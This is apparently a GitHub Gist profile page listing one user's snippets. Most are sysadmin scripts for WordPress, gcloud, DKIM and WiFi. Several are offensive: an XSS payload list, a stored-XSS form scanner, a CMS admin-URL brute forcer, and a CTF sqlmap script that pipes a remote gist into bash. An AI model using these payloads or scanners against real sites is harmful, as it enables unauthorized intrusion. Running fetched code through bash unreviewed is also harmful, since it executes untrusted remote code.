Skip to content

Instantly share code, notes, and snippets.

View richardevcom's full-sized avatar
👋
Let's connect!

richardev richardevcom

👋
Let's connect!
View GitHub Profile
@richardevcom
richardevcom / airmon-monit.sh
Created October 13, 2024 03:25
🛜 airmon-monit.sh - Toggle WiFi interface between monitor and managed mode.
# -----------------------------------------------------------------------------
# monit - Toggle WiFi interface between monitor and managed mode
#
# This script allows you to toggle your WiFi interface between monitor mode
# and managed mode based on the provided arguments.
#
# Usage:
# ./alfa-monit.sh -i <wifi_interface> [-e | --enable | -d | --disable | -h | --help]
#
# Options:
@richardevcom
richardevcom / getFlag.sh
Last active September 3, 2024 00:40
HackingHub - Capture flag in "Boolean Based SQL Injection" challange using SQLMap
# Challange: https://app.hackinghub.io/hubs/interactive-sqli-boolean
#!/bin/bash
apt update
apt install -y sqlmap
# Provide injectable URL for this script
# URL="https://dc9zxy0y.eu2.ctfio.com/api/checkuser?username=adam" && curl -sL https://gist.githubusercontent.com/richardevcom/8ecfe76937db4d761bdb203d28c25ebc/raw | bash -s -- "$URL"
URL=$1
@richardevcom
richardevcom / wp-fix-permissions.sh
Last active January 21, 2025 12:37
Fix & secure WordPress files & permissions
chown -R www-data:www-data .
find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 644 {} \;
#find . -type f -name ".htaccess" chmod 640 {} \; # If you're not using Pretty URLs (permalinks), use 604 < 640 permissions.
find . -type f -name "wp-config.php" chmod 440 {} \;
@richardevcom
richardevcom / remove-immutable-attr.sh
Created August 29, 2024 01:22
bash - Recursively remote immutable attribute from all files and directories within a directory.
find . -exec sudo chattr -i {} \;
@richardevcom
richardevcom / disable_all_gcloud_services.sh
Last active July 17, 2024 23:13
Google Cloud CLI command to disable all enabled services.
# Use --force to skip "usage" errors
gcloud services disable --project <project_id> $(gcloud services list --enabled --project <project_id> --format="value(NAME)")
@richardevcom
richardevcom / add-opendkim-key.sh
Created April 12, 2022 22:57
Create Signing Table, Key Table, Trusted Hosts File and test DKIM key.
#!/bin/bash
# Which domain?
get_domain(){
printf "\n"
read -p "Domain: " DOMAIN
}
# Is domain set?
domain_is_set(){
@richardevcom
richardevcom / wp-update-urls.sql
Created August 31, 2020 00:54
Update WordPress URLs via SQL
UPDATE wp_options SET option_value = replace(option_value, 'http://www.oldurl', 'http://www.newurl') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET guid = replace(guid, 'http://www.oldurl','http://www.newurl');
UPDATE wp_posts SET post_content = replace(post_content, 'http://www.oldurl', 'http://www.newurl');
UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://www.oldurl','http://www.newurl');
@richardevcom
richardevcom / xss-naughty-list.txt
Created May 14, 2020 05:03
Naughty XSS list with most popular exploits.
<script>alert(123)</script>
&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
<img src=x onerror=alert(123) />
<svg><script>123<1>alert(123)</script>
"><script>alert(123)</script>
'><script>alert(123)</script>
><script>alert(123)</script>
</script><script>alert(123)</script>
< / script >< script >alert(123)< / script >
onfocus=JaVaSCript:alert(123) autofocus
@richardevcom
richardevcom / scan-stored-xss.py
Created May 14, 2020 04:59
Scan for Stored XSS vulnerabilities in multiple forms & inputs using exploit list
import requests
import argparse
import sys
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
""" Prepare arguments for script parse """
parser = argparse.ArgumentParser(description="Detect if target is vulnerable to XSS!?")
parser.add_argument('-u', dest='url', type=str, help="Target URL")
@richardevcom
richardevcom / get_admin_url.py
Last active January 27, 2020 08:19
Find Prestashop, WordPress or other CMS admin control panel URL with Python
import itertools
import string
import urllib2
def guess_admin_url(url, prefix):
adminurl = url + prefix
chars = string.ascii_lowercase + string.digits
attempts = 0
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat=password_length):